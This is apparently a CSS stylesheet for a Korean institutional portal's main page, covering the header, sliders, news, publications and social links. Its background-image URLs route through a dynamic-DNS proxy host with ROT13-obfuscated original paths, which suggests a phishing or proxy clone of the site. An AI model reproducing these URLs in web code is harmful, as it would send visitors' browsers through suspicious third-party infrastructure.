@charset "UTF-8";
/*-------------------------------------------------
title       : 메인
Author      : 플랜아이 광주
Create date : 2020-02-14
-------------------------------------------------*/
/* swiper */
.swiper-container-horizontal>.swiper-pagination-bullets, .swiper-pagination-custom, .swiper-pagination-fraction {
	position:relative;
	bottom:auto;
	width: auto;
}
.swiper-button-next, .swiper-button-prev {
	position:relative;
	top:auto;
	margin-top: 0;
	color:#222;
}


#header {
	background-color: transparent;
    border-bottom: 1px solid rgba(255,255,255, .2);
	}
#header #logo a {
	 background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xvfgrc.er.xe%2Sznva%2Spff%2S..%2S..%2Sznva%2Svzt%2Synlbhg%2Sybtb02.fit) no-repeat 0 center / contain;
	}
.hnb2 a,
#gnb1 > ul > li > a,
#hnb .logout,
#header .lang,
#header .allmenu_open {
    color: #fff;
	}	
#hnb .btn_totalSearch {color: #fff; }	
	
/* 마우스 오버시 */
#header.fixed,
#header.active,
#header.search_active {
	background-color: #fff; 
    border-bottom: 1px solid #eee;
	}	
#header.fixed::before,
#header.active::before,
#header.search_active::before {
    border-bottom: 1px solid #eee;
    }
#header.fixed #logo a,
#header.active #logo a,
#header.search_active #logo a {
	 background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xvfgrc.er.xe%2Sznva%2Spff%2S..%2S..%2Sznva%2Svzt%2Synlbhg%2Sybtb.fit) no-repeat 0 center / contain;
	}
#header.fixed .btn_totalSearch, 
#header.fixed .lang, 
#header.fixed #hnb .logout,
#header.fixed .allmenu_open, 
#header.fixed #gnb1 > ul > li > a,

#header.active .btn_totalSearch, 
#header.active .lang, 
#header.active #hnb .logout,
#header.active .allmenu_open, 
#header.active #gnb1 > ul > li > a,

#header.search_active .btn_totalSearch, 
#header.search_active .lang, 
#header.search_active #hnb .logout,
#header.search_active .allmenu_open, 
#header.search_active #gnb1 > ul > li > a  {
   color: #222;
   }
.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_dragger {
	width: 65px !important;
	}
.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_draggerRail,
.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{
	height: 5px;
	background-color: #121D76;
	border-radius: 0;
	}
.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar {
	height: 6px;
	background-color: #CECECE;
	}
.forum_evnet .mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar {
	background-color: #fff;
	}
#main {
	background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xvfgrc.er.xe%2Sznva%2Spff%2S..%2S..%2Sznva%2Svzt%2Sznva%2Svasb_ot.cat) no-repeat center bottom; 
	}
#main .main_wrap {
	overflow: hidden;
	}	
#visual {
	position: relative; 
	width: 100%; 
	max-width: 100%; 
	height: 60.4rem;  
	margin: 0 auto 5rem; 
	overflow: hidden; 
	}
#visual .title {
	position: absolute;
	top: 14.2rem;
	left: 50%;
	width: 128rem;
	max-width: 95%;
	margin: 0 auto;
	color: #fff;
	line-height: 1.175;
	transform: translateX(-50%);
	z-index: 90;
	}
#visual .subject {display: block; margin-bottom: 1.7rem;}
#visual .subject .kor {display: block; margin-bottom: 0.8rem; font-size: 2rem; font-weight: 500;}
#visual .subject .eng {display: block; font: 700 8rem/1.2 Montserrat;}
#visual .desc { line-height: 1.5; font-size: 1.8rem;}
#visual .bx-wrapper { 
	height: 100%; 
	overflow: hidden; 
	}
#visual .bx-viewport { 
	height: 100% !important; 
	}
#visual .list {
	height: 100%; 
	}
#visual .list li { 
	width: 100%;
    height: 100%;
    text-align: center;
    overflow: hidden;
}
#visual .list img { 
    display: block;
    position: absolute;
    top: 0;
    left: 50%;
    width: 100%;
    height: 100%;
    object-fit: cover;
    transform: translateX(-50%);
    transition: all 0.2s; 
    overflow: hidden;
}
#visual .visual_bg_area {
	position: absolute;
	bottom: 0;
	left: 50%;
	width: 100%;
	max-width: 100%;
	height: 100%;
	transform: translateX(-50%);
	z-index: 5;
}
#visual .visual_bg_area .swiper-container {
	position: relative;
	height: 100%;
}
#visual .visual_bg_area .swiper-wrapper {
	height: 100%;
}
#visual .visual_bg_area .swiper-slide {
	height: 100%;
}
#visual .visual_bg_area .swiper-button-box {
	position: absolute;
    bottom: 6.6rem;
    left: 50%;
    width: 128rem;
    max-width: 95%;
    transform: translateX(-50%);
    z-index: 55;
}
#visual .visual_bg_area button {
    display: inline-flex;
	align-items: center;
	justify-content: center;
    width: 6rem;
    height: 6rem;
    margin-right: 1.5rem;
    border: 1px solid #fff;
    border-radius: 100%;
    color: #fff;
    text-align: center;
    line-height: 5.8rem;
    font-size: 2.2rem;
    overflow: hidden;
	}	
#visual .visual_bg_area button:focus,	
#visual .visual_bg_area button:hover {
	background-color: #fff;
	color: #333;
	}	
#visual .visual_bg_area .swiper-button-prev i::before {
	content: "\e908";
	} 
#visual .visual_bg_area .swiper-button-next i::before {
	content: "\e90b";
	} 
.main_search {	
	display: flex; flex-flow: row wrap;
	position: absolute;
	bottom: 17.6rem;
	left: 50%;
	width: 128rem;
	max-width: 95%;
	font-weight: 400;
	transform: translateX(-50%);
	z-index: 55;
	}	
.main_search form {
	display: flex; flex-flow: row wrap; 
    border-radius: 1rem;
    overflow: hidden;
	}
.main_search input[type="text"] {
    display: block;
    width: 31rem;
    padding: 1.5rem 3rem;
    background-color: rgba(255, 255, 255, .2);
    border-color: transparent;
    color: #fff;
    vertical-align: top;
	}
.main_search :-ms-input-placeholder {color: #fff; font-weight: 200;}
.main_search ::-webkit-input-placeholder {color: #fff; font-weight: 200;}
.main_search :-moz-placeholder {color: #fff; font-weight: 200;}
.main_search ::-moz-placeholder {color: #fff; font-weight: 200;}	
.main_search button {
    display: block;
    width: 5.8rem;
    height: 100%;
    padding: 1.5rem 0;
    background-color: #1B358E;
    border-radius: 0 1rem 1rem 0;
    color: #fff;
    line-height: 1.4;
    vertical-align: top;
    font-size: 2rem;
	}
	
#contents {
    width: 128rem;
    max-width: 95%;
	margin: 0 auto;
	}
#section1 ~ * {
	position: relative;
	}	
#section1 ~ *::after {
	position: absolute;
	top: 0;
	left: 50%;
	width: 200%;
	height: 100%;
	transform: translateX(-50%);
	content: '';
	z-index: -1;
	}
.popup { float: right; position: relative; width: 42rem; border: 1px solid #ddd; }
.popup .bx-controls { position: absolute; left: 2.5rem; bottom: 3rem; }
.popup .bx-controls div { display: inline; }
.popup .bx-controls .bx-pager a { display: inline-block; overflow: hidden; width: 1rem; height: 1rem; margin-left: 1rem; border-radius: 100%; background-color: #efefef;transition: all 0.2s; text-indent: 1rem; }
.popup .bx-controls .bx-pager a.active { background-color: #484c58; }
.popup .bx-controls .bx-controls-auto a { display: inline-block; overflow: hidden; position: relative; top: 0.25rem; width: 1.5rem; height: 1.5rem; margin-left: 1rem; background: 0 none; line-height: 1.5rem; text-indent: 1rem; }
.popup .bx-controls .bx-controls-auto a:before { display: block; width: 100%; height: 100%; font-family: "xeicon"; text-align: center; line-height: inherit; content: ''; text-indent: 0; }
.popup .bx-controls .bx-controls-auto a.active { display: none; }
.popup .bx-controls .bx-controls-auto a.bx-stop::before { content: ''; }

.container {
	max-width: 100%;
	}
.thumb {
	position: relative;
	}	
.thumb img {
	position: absolute;
	top: 50%;
	left: 50%;
	width: 100%; 
	transform: translate(-50%, -50%) translate(.5px, .5px);
	}	
.latest_news {
	position: absolute;
    top: 13.8rem;
    right: 2.5%;
    width: 41.8rem;
    background-color: #fff;
    padding: 2.5rem;
    border-radius: 2rem 2rem 0;
    overflow: hidden;
    z-index: 90;
}

.latest_news .swiper-container {
	position: relative;
	width: 100%;
	overflow: hidden;
}

.latest_news .swiper-wrapper {
	display: flex;
}

.latest_news .swiper-slide {
	width: 100%;
	flex-shrink: 0;
	box-sizing: border-box;
}

.latest_news .swiper-button-box {
	position: absolute;
	right: 0;
	bottom: 0;
	display: flex;
	align-items: center;
	justify-content: flex-end;
	z-index: 10;
}

.latest_news .swiper-button-next,
.latest_news .swiper-button-prev {
	position: relative;
	width: 4.4rem;
	height: 4.4rem;
	margin: 0;
	background-color: #1B358E;
	z-index: 10;
	cursor: pointer;
	display: flex;
	align-items: center;
	justify-content: center;
	transition: all 0.3s;
	border: none;
}
.latest_news .play,
.latest_news .stop {
	position: relative;
	width: 4.4rem;
	height: 4.4rem;
	margin: 0;
	background-color: #01165E;
	z-index: 10;
	cursor: pointer;
	display: flex;
	align-items: center;
	justify-content: center;
	transition: all 0.3s;
	border: none;
	color:#fff;
	font-size:1.8rem;
}

.latest_news .swiper-button-next:hover,
.latest_news .swiper-button-prev:hover {
	background-color: #0f2460;
}

.latest_news .swiper-button-next i,
.latest_news .swiper-button-prev i {
	color: #fff;
	font-size: 1.8rem;
}

.latest_news .swiper-button-next::after,
.latest_news .swiper-button-prev::after {
	display: none;
}

.latest_news .txt_box,
.latest_news .thumb {
	display: block;
	width: 100%;
	height: 22rem;
	overflow: hidden;
}

.latest_news .thumb::after {
    position: absolute;
	top: 0;
	left: 0;
    width: 100%;
    height: 100%;
    transition: all  .5s;
    content: '';
}

.latest_news .thumb:focus {
    outline: 0;
}

.latest_news .thumb:hover::after,
.latest_news .thumb:focus::after {
	background-color: rgba(0, 0, 0, .3);
}

.latest_news .txt_box {
	height: auto;
	margin-bottom: 2rem;
}

.latest_news .tit {
	display: block;
	margin-bottom: 1.3rem;
    color: #000;
    letter-spacing: -0.1rem;
    line-height: 1.4;
    font-size: 2rem;
    text-overflow: ellipsis;
    white-space: nowrap;
	overflow: hidden;
}

.latest_news .txt {
	display: block;
	height: 4.9rem;
	margin-bottom: 1rem;
    letter-spacing: -0.05rem;
    font-size: 1.5rem;
    font-weight: 200;
	overflow: hidden;
}

.latest_news .more {
	display: block;
	width: 13.4rem;
    padding: 0.4rem 0;
	border: 1px solid #ddd;
    text-align: center;
    font-size: 1.4rem;
    font-weight: 200;
	overflow: hidden;
}

.latest_news .txt_box:focus {
    outline: 0;
}

.latest_news .txt_box:focus .tit,
.latest_news .txt_box:focus .more {
    text-decoration: underline;
}

.latest_news .bx-controls {
	position: absolute;
    bottom: 0;
	right: 0;
    z-index: 55;
	}
.latest_news .bx-controls > div {
	float: left;
	}	
.latest_news .bx-controls a {
    display: inline-block;
    position: relative;
	width: 4.4rem;
	height: 4.4rem;
	margin-right: -1px;
	background-color: #1B358E;
	color: #fff;
    text-align: center;
    vertical-align: bottom;
	overflow: hidden;
	}
.latest_news .bx-controls a::after {
    position: absolute;
	bottom: 0;
	left: 0;
	width: 100%;
	height: 2px;
	background-color: #fff;
    opacity: 0;
	content:'';
	}
.latest_news .bx-controls a:focus {	
	outline: 0;
	}
.latest_news .bx-controls a:focus::after {	
    opacity: 1;
	}
.latest_news .bx-controls a i {
    width: 100%;
    height: 100%;
	line-height: 4.4rem;
	font-size: 1.8rem;
	}
.latest_news .bx-controls-auto {
	overflow: hidden;
	}
.latest_news .bx-controls-auto a {
	background-color: #01165E;
	}
.latest_news .bx-controls-auto a i {
	font-size: 1.8rem;
	}
.latest_news .bx-controls-auto a.active {	
	display: none;
	}

.tab_tit,
.section_tit {
	position: relative;
    margin-bottom: 2.5rem;
	}
.tab_tit {
	display: inline-block;
	}	
.tab_tit > a,
.section_tit > span {
    display: inline-block;
	padding: 1rem 2.5rem;
	border-radius: 2rem 0;
	color: #333;
	letter-spacing: -0.1rem;
	transition: all .3s;
	font-size: 2rem;
	font-weight: 500;
	}
.section_tit > span,
.tab_tit > a.active,
.tab_tit > a:hover {
	background-color: #121D76 ;
	box-shadow: 4px 4px 5px rgba(0,0,0, 0.1);
	color: #fff;
	font-weight: 700;
	}
.tab_tit > a:hover {
	text-decoration: none;
	}
.tab_cont {
	float: left;
	display: none;
	width: 100%;
	}
 .tab_cont:nth-of-type(1) {
	display: block;
	}
.tab_cont .blank {text-align: center;}	
#section1 ~ [id*="section"] .more {
	display: block;
    position: absolute;
    top: 0.6rem;
    right: 0;
	width: 3.75rem;
	height: 3.75rem;
    text-align: center;
    overflow: hidden;
	}	
#section1 ~ [id*="section"] .more i {
    width: 100%;
    height: 100%;
	color: #2C3E50;
    line-height: 1.3;
	font-size: 3rem;
	}	
#section2 {
	display: flex; flex-flow: row wrap;
	margin-bottom: 5rem;
    overflow: hidden;
	}
.tabnews_area {
	position: relative;
	width: 47%;
	margin-right: 2.4%;
	overflow: hidden;
	}
.news_list {
	overflow: hidden;
	}
.news_list li {
	position: relative;
	margin-top: 1.3rem;
	padding-left: 1rem;
	overflow: hidden;
	}
.news_list li:nth-child(n+2)::before {
	position: absolute;
	top: 1.2rem;
	left: 0;
	width: 0.3rem;
	height: 0.3rem;
	background-color:#2D2878;
	content:'';
	}
.news_list li a {
	display: block;
    overflow: hidden;
	}
.news_list li:first-child {
	min-height: 8.6rem;
	margin: 0 0 3.3rem;
	padding-left: 10.6rem;
	}
.news_list li:first-child .title {
	display: block;
	margin-bottom: 0.5rem;
	color: #333;
	letter-spacing: -0.1rem;
	font-size: 2rem;
    text-overflow: ellipsis;
    white-space: nowrap;
	font-weight: 700;
    overflow: hidden;
	}	
.news_list li:first-child .desc {
	display: block;
    color: #777;
    letter-spacing: -0.05rem;
    line-height: 1.5;
	}
.news_list li:first-child .date {
	display: block;
	position: absolute;
	top: 0;
	left: 0;
	width: 8.6rem;
	height: 8.6rem;
	padding-top: 4.5rem;
	border: 4px solid #E5E5E5;
	color: #121212;
	text-align: center;
	font: 300 1.4rem/1.2 Montserrat;
	}
.news_list li:first-child .date > span {
	display: block;
    position: absolute;
    top: 1.5rem;
    left: 0;
    width: 100%;
	letter-spacing: -0.1rem;
	font: 700 2.9rem/1 Montserrat;
	}
.news_list li:nth-child(n+2) .txt {
	float: left;
	width: calc(100% - 11rem);
	color: #333;
	letter-spacing: -0.1rem;
	font-weight: 500;
	font-size: 1.7rem;
    text-overflow: ellipsis;
    white-space: nowrap;
    overflow: hidden;
	}	
.news_list li:nth-child(n+2) .txt:focus {
	text-decoration: underline;
	outline: 0;
	}	
.news_list li:nth-child(n+2) .date {
	float: right;
	width: 9.8rem;
	color: rgba(51,51,51, .5);
	letter-spacing: -0.05rem;
    text-align: right;
	font-weight: 500;
	}
.news_list li:first-child .date.bid_num {
	display: flex; flex-flow: row wrap; align-items: center; align-content: center;  justify-content: center;
	padding-top: 0;
	word-break: normal;
	font: 700 2.8rem/1 Montserrat;
	}
.news_list .d_day {
	display: block;
    color: rgba(51,51,51, .5);
	letter-spacing: -0.05rem;
	}
	
.publicity_area {
	position: relative;
    width: calc(25.3% - 2rem);
    margin-left: 2rem;
    padding-bottom: 3.2rem;
	overflow: hidden;
}
.publicity_area .swiper-button-box {
	display: flex;
	align-items: center;
	justify-content: flex-end;
	gap: 0.8rem;
	margin-top: 1rem;
	text-align: right;
	font-size:1.8rem;
}
.publicity_area .swiper-pagination {
	display:inline-block;
	vertical-align: middle;
}
.publicity_area .swiper-button-prev i::before {
	content: "\e908";
	} 
	.publicity_area .swiper-button-next i::before {
	content: "\e90b";
	} 
	.publicity_area .swiper-container {
		position:relative;
		height: 30.2rem;
		overflow: hidden;
	}
	.publicity_area .swiper-wrapper {
		display: flex;
		width: 100%;
		height: 100%;
		position: relative;
		z-index: 1;
		transition-property: transform;
		box-sizing: content-box;
	}
	.publicity_area .swiper-slide {
		flex-shrink: 0;
		width: 100%;
		height: 100%;
		position: relative;
		transition-property: transform;
	}
	.publicity_area .swiper-slide a {
		display: block;
		position: relative;
	}	
	.publicity_area .swiper-slide a::before {
		position: absolute;
		top :0;
		left: 0;
		width:100%;
		height: 100%;
		border: 1px solid #EAEAEA;
		z-index: -1;
		content:'';
	}
	.publicity_area .swiper-slide .thumb {
		display: block;
		height: 30.2rem;
		border: 1px solid #ddd;
		overflow: hidden;
	}
	.publicity_area .swiper-slide .tit {
		display: block;
		height: 9.1rem;
		padding: 2.2rem 1.7rem;
		line-height: 1.4;
		letter-spacing: -0.1rem;
		font-size: 1.7rem;
		overflow: hidden;
	}
	.popup_area .total_count {
		margin: 1.5rem 0 0 1rem;
		letter-spacing: -0.1rem;
	}	
	.popup_area .count_txt {
		margin: 0 0.3rem;
		padding: 0 0.6rem;
		background-color: #2D2878;
		color: #fff;
		font-size: 1.7rem;
		font-weight: 700;
	}
	.publicity_area .bx-controls {
		position: absolute;
		right: 0;
		bottom: 0;
	}
	.publicity_area .bx-pager {
		float: left;
		line-height: 1.5;
	}
	.publicity_area .bx-controls-direction,
	.publicity_area .bx-controls-auto,
	.publicity_area .bx-controls-auto > div {
		display:inline-block;
		line-height: 1;
		vertical-align: top;
	}
	.publicity_area .bx-controls a {
		position: relative;
		display: inline-block;
		width: 3rem;
		height: 2.5rem;
		vertical-align: middle;
		overflow: hidden;
	}
	.publicity_area .bx-controls a i {
		width: 100%;
		height: 100%;
		line-height: 1.5;
		text-align: center;
		font-size: 1.8rem;
		vertical-align: top;
	}
	.publicity_area .bx-controls a.bx-prev i::before {
		content: "\e908";
	}
	.publicity_area .bx-controls a.bx-next i::before {
		content: "\e90b";
	}	
#section3 {
	padding: 4rem 0 28rem;
	}
#section3::after {
	background-color:#EAE9EE;
	}	
.forum_evnet {
    position: relative;
	overflow: hidden;
	}
.second_forum {
	overflow: hidden;
	}
.forum_evnet .txt_area {
	display: block;
    position: relative;
    padding-top: 1rem;
    overflow: hidden;
	}
.forum_evnet .tit {
	display: block;
	margin-bottom: 1.7rem;
    color: #333;
    line-height: 1.3;
    letter-spacing: -0.1rem;
    font-size: 2rem;
    font-weight: 700;
    overflow: hidden;
	}	
.forum_evnet .tit:focus {
	text-decoration: underline;
	outline: 0;
	}	
.forum_evnet .date {
	display: block;
    margin-bottom: 0.5rem;
	color: rgba(51,51,51, .9);
    line-height: 1.1;
	font-size: 1.5rem;
	}
.forum_evnet .place {
    display: block;
    margin-top: -1rem;
    font-weight: 200;
	}
.second_forum > li {
    overflow: hidden;
	}
.second_forum > li  + li {
	margin-bottom: 1.5rem; 
	}	
.second_forum > li:first-child {
    float: left;
    width: 60.8rem;
    margin-right: 2.9%;
	}
.second_forum .thumb {
	float: left;
	position: relative;
	display: block;
	width: 30.4rem;
	height: 17.1rem;
	margin-right: 2rem;
	overflow: hidden;
	}
/* .second_forum .thumb img {
	    height: 100%;
	    object-fit: cover;
	} */	
.second_forum .thumb::after {
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	background-color: rgba(0,0,0, .5);
	transition: all 0.5s ease;
	content: '';
	opacity: 0;
	}
.second_forum .thumb:focus {
	outline: 0;
	}
.second_forum .thumb:focus::after {
	opacity: 1;
	}	
.second_forum > li:first-child .thumb {
	float: none;
    width: 100%;
    height: 34.2rem;
    overflow: hidden;
	}
.second_forum .date {
    margin-bottom: 1.7rem;
	}
.forum_evnet .status {
	display: inline-block;
	margin-bottom: 0.5rem;
    padding: 0.5rem;
    border: 1px solid #543697;
    color: #543697;
    font-weight: 500;
    font-size: 1.3rem;
	}
.forum_evnet .status01 {
    background-color: #fff;
    border-color: transparent;
    color: #121D76;
	}	
.forum_evnet .status.d_day {		
    background-color: #3B3680;
    color: #fff;
	}	
.forum_evnet .status.movie {
    background-color: #fff;
    border-color: transparent;
    color: #121D76;
	}
.forum_evnet .status.live {		
    border-color: #5867C4;
    color: #5867C4;
	}	
#section4 {
	margin: -23.5rem 0 7rem;
	padding-top: 4rem;
	}
#section4::after {
	background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xvfgrc.er.xe%2Sznva%2Spff%2S..%2S..%2Sznva%2Svzt%2Sznva%2Sercbeg_ot.tvs) no-repeat center 0; 
	}
#section4 .tab_tit {
	margin-bottom: 3rem;
	}	
#section4 .tab_tit a {
	color: #fff;
	}
#section4 .publication_area .more i {
    color: #fff;
    font-size: 3.5rem;
	}
.publication_area {
    display: inline-block;
    position: relative;
    width: 100%;
	}	
.publication_area .tab_cont {
    min-height: 45rem;
    padding: 5rem;
    background-color: #fff;
    box-shadow: 7px 7px 50px rgba(0,0,0, 0.05);
    overflow: hidden;
	}
.publication_area nav {
	position: relative;
	float: left;
	width: 17.5rem;
	margin-right: 5rem;
	font-size: 1.8rem;
	overflow: hidden;
	}	
.publication_nav {
	overflow: hidden;
	}	
.publication_nav > li > a {
	display: block;
	position: relative;
    padding: 2.4rem 1.5rem 1.4rem 0.2rem;
    color: #333;
    letter-spacing: -0.1rem;
    line-height: 1.1;
    transition: all 0.5s ease;
    overflow: hidden;
	}	
.publication_nav > li:first-child > a {
	padding-top: 0;
	}	
.publication_nav > li > a i {
	position: absolute;
	top: 50%;
	right: 0;
	transform: translateY(-50%);
	}
.publication_nav > li:first-child > a i {
	top: 0;
	transform: inherit;
	}
.publication_nav > li > a::after {
	position: absolute;
	bottom: 0;
	left: 0;
	width: 100%;
	height: 1px;
	background-color: rgba(0,0,0, .05);
	content: '';
	}
.publication_nav > li > a.active {	
	color: #2D2878;
	font-weight: 700;
	}
.publication_nav > li > a.active::after {
	height: 0.3rem;
	background-color: #2D2878;
	}
.publication_cont {
	display: none;
    float: left;
	position: relative;
	width: calc(100% - 22.5rem);
	}	
.publication_cont.active {
	display: block;
	}
	.publication_cont.active .swiper-button-next, 
.publication_cont.active .swiper-button-prev { 
	display: none;
	position:absolute;
	top:50%;
	font-size:3.6rem;
	transform: translateY(-50%);
}
.publication_cont.active .swiper-button-next {
	right: 0;
}
.publication_cont.active .swiper-button-prev {
	left: 0;
}
.publication_cont .list {
	display: flex; 
	flex-flow: row wrap;
    width: calc(100% + 4.2rem);
    height: 100%;
    margin: 0 -2.1rem;
    overflow: hidden;
	}
.publication_cont .list li {
	float: left;
    width: calc(100% / 5);
	 max-width: 100%;
	padding: 0 2.1rem;
	overflow: hidden;
	}
.publication_cont .list li a {
	display: block;
	position: relative;
	}
.publication_cont [class*="type"] {
	display: block;
	position: absolute;
	top: 1px;
	left: 1px;
	min-width: 9rem;
	height: 3.6rem;
    padding: 0 1rem;
	background-color: #B51F57;
	color: #fff;
    letter-spacing: -0.1rem;
    line-height: 2.2;
    text-align: center;
    font-weight: 500;
    z-index: 1;
	}
.publication_cont .type02 {background-color: #3C803F;}
.publication_cont .type03 {background-color: #135EAB;}
.publication_cont .type04 {background-color: #128E98;}	
.publication_cont .type05 {background-color: #6C3C80;}
.publication_cont .type06 {background-color: #E66B01;}
.publication_cont .type07 {background-color: #5459E2;}

.publication_cont .thumb {
	display: block;
	width: 100%;
	height: 28rem;
	margin-bottom: 2.1rem;
	border: 1px solid #ddd;
	overflow: hidden;
	}
.publication_cont .thumb.bg01 {background-color: #E4D9F6;}	
.publication_cont .thumb.bg02 {background-color: #F6CBC1;}	
.publication_cont .thumb.bg03 {background-color: #E5EBF6;}	
.publication_cont .thumb.bg04 {background-color: #E6E6F4;}	
.publication_cont .thumb.bg05 {background-color: #E1E7FF;}
.publication_cont .tit {
	display: block;	
	color: #000;
    line-height: 1.4;
    font-size: 1.8rem;
    font-weight: 500;
	}
.publication_cont .list li a:focus {
	outline: 0;
	}
.publication_cont .list li a:focus .tit {
    text-decoration: underline;
	}
#publication1.tab_cont {
	overflow: inherit;
	}
#section4 #publication1 .more {
    top: -12rem;
    right: -5rem;
	}
	
/*뉴스레터 */
#publication2_2 .thumb img {
	top: 0;
	left: 0;
    transform: inherit;
	}

#section5 {
    position: relative;
    margin-bottom: 7.8rem;
    overflow: hidden;
	}	
#section5 .section_tit {    
	display: block;
    margin-bottom: 2rem;
    padding: 0;
    background-color: transparent;
    box-shadow: none;
	color: #000;
	text-align: center;
    line-height: 1;
	font-size: 4rem;
	}
#section5 .section_subtit { 
    letter-spacing: -0.05rem;
	}
.brochure_area,
.movie_area {
	float: left;
	position: relative;
	overflow: hidden;
	}	
.brochure_area {
	width: 41.3rem;
	background-color: #fff;
    border: 6px solid #EBEBEB;
	}
.brochure_area > [class*="section_"] {
	position: relative;
	margin: 0 2.5rem 0 3.6rem;
    padding: 3.4rem 0;
    overflow: hidden;
	}	
.brochure_area > .section_report {
	border-top: 1px dashed #D3D3D3;  
	}
.brochure_area article {
	display: flex;
	align-items: flex-start;
	justify-content: space-between;
}
.brochure_area article > div {
	display: flex;
	flex-direction: column;
	gap: 2rem;
}
.brochure_area .section_subtit {
    color: #000;
    font: 800 2.4rem/1.1 Montserrat;
    }
.brochure_area .year {	
	color: #293684;
	}
.brochure_area .section_report .kor {
	font-family: Noto Sans KR;
	}	
.brochure_area .section_report .year {	
	color: #EC411B;
	}
.brochure_area .thumb {
    width: 10rem;
    /* height: 14.1rem; */
    aspect-ratio: 1 / 1.41;
    margin-right: 1.5rem;
    box-shadow: 6px 8px 14px #00000029;
	}
.brochure_area .txt_more {
/*     position: absolute;
    left: 0;
    bottom: 3rem; */
    color: rgba(0,0,0, .6 );
    letter-spacing: -0.1rem;
    font-weight: 500;
	}	
.movie_area {
	width: 42.2rem;
	height: 29.7rem;
    margin: 0 1.9rem;
	}	
.movie_area .section_subtit {
    position: absolute;
	top: 3.5rem;
	left: 3rem;
	color: #fff;
	font-size: 2.4rem;
	z-index: 1;
	}
.movie_area a {
	display: block;
    height: 100%;
	}
.movie_area a img {
    width: 100%;
    height: 100%;
    object-fit: cover;
    }
.movie_area a::before {
    display: block;
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background-color: rgba(0,0,0, .4);
    transition: all 0.5s ease;
    content: '';
	}
.movie_area a::after {
	display: block;
	position: absolute;
	top: 50%;
	left: 50%;
	width: 8rem;
	height: 8rem;
	background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xvfgrc.er.xe%2Sznva%2Spff%2S..%2S..%2Sznva%2Svzt%2Sznva%2Svpba_cynl.cat) no-repeat center center / cover; 
	transform: translate(-50%, -50%);
	content: '';
	}	
.movie_area a:hover::before,
.movie_area a:focus::before {
    top: 1rem;
    left: 1rem;
    width: calc(100% - 2rem);
    height: calc(100% - 2rem);
	border: 6px solid #fff;
	}	
/* 언론기사 */
.press_article {
    float: right;
    position: relative;
    width: 40.6rem;
    padding: 2.8rem 2.4rem;
    background-color: #fff;
    border: 6px solid #ebebeb;
    overflow: hidden;
	}	
#section5 .press_article .more {
	top: 2rem;
	right: 2rem;
	}	
.press_article .section_subtit {
	margin-bottom: 1.5rem;
    color: #000;
	font-size: 2.2rem;
	}
.press_list {
	}
.press_list li {
	position: relative;
	margin-top: 1.8rem;
	padding-left: 1.2rem;
	overflow: hidden;
	}	
.press_list li:first-child {
	margin-top: 0;
	}
.press_list li::before {
	position: absolute;
	top: 1.3rem;
	left: 0;
	width: 0.3rem;
	height: 0.3rem;
	background-color: #333;
	border-radius: 100%;
	content: '';
	}
.press_list li a {
	display: block;
	color: #222;
    text-overflow: ellipsis;
    line-height: 1.3;
    white-space: nowrap;
    font-size: 1.8rem;
	overflow: hidden;
	}
.press_list .date,
.press_list .press {
	position: relative;
	color: #666;
    font-size: 1.5rem;
    font-weight: 100;
	}
.press_list .press {
    margin-left: 0.6rem;
	}
.press_list .press::before {
	display: inline-block;
    margin-right: 1rem;
	width: 0.1rem;
	height: 1rem;
	background-color: #D3D3D3;
	content: '';
	}
.press_list li a:focus {
	text-decoration: underline;
	outline: 0;
	}	
	
/* 조직도, sns 바로가기*/
.shortcut_area {
	position: absolute;
	bottom:0;
	right: 0;
	overflow: hidden;
	}
.org_shortcut {
	float: left;
	width: 42.2rem;
	margin-right: 2rem;
	background-color: #1B358E;
	}
.org_shortcut a {
	display: block;
	position: relative;
	padding: 4.2rem 3.5rem;
	color: #fff;
    letter-spacing: -0.05rem;
	font-size: 2rem;
    font-weight: 500;
	}
.org_shortcut a::after {
	position: absolute;
	top: 50%;
	right: 4rem;
	transform: translateY(-50%);
	content: "\e93f";
	font-family: 'xeicon';
	}
.org_shortcut a:focus {
	text-decoration: underline;
	}	
.btn_org .icon {
    display: inline-block;
	width: 3.8rem;
	height: 3rem;
	margin-right: 1.6rem;
	background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xvfgrc.er.xe%2Sznva%2Spff%2S..%2S..%2Sznva%2Svzt%2Sznva%2Svpba_bet.fit) no-repeat 0 0 / contain;
	vertical-align: bottom;
	} 	
.sns_shortcut {
    width: 40.6rem;
	padding: 2.75rem 2.7rem;
    background-color: #fff;
    border: 6px solid #ebebeb;	
	overflow: hidden;
	}	
.sns_link {
	letter-spacing: -0.1rem;
	font-size: 1.6rem;
	font-weight: 700;
	overflow: hidden;
	}	
.sns_link li {
	position: relative;
	float: left;
	width: 50%;
	}
.sns_link a {
	position: relative;
    display: flex;
    flex-flow: row wrap;
    align-items: center;
    align-content: center;
    line-height: 1;
	}
.sns_link a i {
    display: flex;
    flex-flow: row wrap;
    align-items: center;
    align-content: center;
    justify-content: center;
	width: 4.8rem;
	height: 4.8rem;
    margin-right: 1.5rem;
	border: 2px solid #2555B1;
    border-radius: 100%; 
	color: #2555B1;
    font-size: 2.1rem;
	transition: all 0.5s;
	}
.sns_link .box_youtube {
    padding-left: 3rem;
	}	
.sns_link .box_youtube::before {
	display: block;
	position: absolute;
	top: 50%;
	left: 0;
	width: 1px;
	height: 3.8rem;
	background-color: #EBEBEB;
	transform: translateY(-50%);
	content: '';
	} 
.sns_link .box_youtube i {
	border-color: #D12B2F;
	color: #D12B2F;
	}
.sns_link a:hover {
	text-decoration: none;
	}
.sns_link a:focus {
